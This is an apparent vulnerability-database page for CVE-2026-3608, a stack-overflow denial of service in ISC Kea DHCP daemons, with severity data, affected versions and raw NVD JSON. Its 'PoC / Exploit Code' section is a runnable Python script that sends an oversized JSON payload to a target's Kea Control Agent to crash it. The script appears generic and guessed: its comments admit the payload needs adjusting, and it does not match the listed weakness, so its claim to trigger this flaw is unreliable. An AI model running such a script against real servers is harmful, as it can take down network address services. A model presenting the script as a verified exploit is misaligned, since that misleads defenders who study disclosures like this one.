Security Vulnerability Report
中文
CVE-2026-3608 CVSS 7.5 HIGH

CVE-2026-3608

Published: 2026-03-25 09:16:26
Last Modified: 2026-03-25 18:16:33

Description

Sending a maliciously crafted message to the kea-ctrl-agent, kea-dhcp-ddns, kea-dhcp4, or kea-dhcp6 daemons over any configured API socket or HA listener can cause the receiving daemon to exit with a stack overflow error. This issue affects Kea versions 2.6.0 through 2.6.4 and 3.0.0 through 3.0.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

ISC Kea 2.6.0 - 2.6.4
ISC Kea 3.0.0 - 3.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-3608 (ISC Kea DHCP Stack Overflow) This script sends a maliciously crafted message to the Kea Control Agent. """ import requests import json import sys def send_exploit(target_ip, target_port=8000): url = f"http://{target_ip}:{target_port}/" # Craft a malicious command with an oversized parameter to trigger stack overflow # Adjust the payload size based on the specific vulnerability analysis malicious_payload = { "command": "list-commands", "arguments": { "padding": "A" * 10000 # Oversized buffer to trigger overflow } } try: headers = {'Content-Type': 'application/json'} response = requests.post(url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"[+] Payload sent to {url}") print(f"[+] Response status code: {response.status_code}") print("[!] Check if the Kea daemon has crashed.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[!] This might indicate the service has crashed (DoS).") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3608", "sourceIdentifier": "[email protected]", "published": "2026-03-25T09:16:25.810", "lastModified": "2026-03-25T18:16:32.853", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sending a maliciously crafted message to the kea-ctrl-agent, kea-dhcp-ddns, kea-dhcp4, or kea-dhcp6 daemons over any configured API socket or HA listener can cause the receiving daemon to exit with a stack overflow error.\nThis issue affects Kea versions 2.6.0 through 2.6.4 and 3.0.0 through 3.0.2."}, {"lang": "es", "value": "Enviar un mensaje diseñado maliciosamente a los demonios kea-ctrl-agent, kea-dhcp-ddns, kea-dhcp4 o kea-dhcp6 a través de cualquier socket API o oyente HA configurado puede provocar que el demonio receptor se cierre con un error de desbordamiento de pila.\nEste problema afecta a las versiones de Kea 2.6.0 a 2.6.4 y 3.0.0 a 3.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "references": [{"url": "https://downloads.isc.org/isc/kea/2.6.5", "source": "[email protected]"}, {"url": "https://downloads.isc.org/isc/kea/3.0.3", "source": "[email protected]"}, {"url": "https://kb.isc.org/docs/cve-2026-3608", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/25/6", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}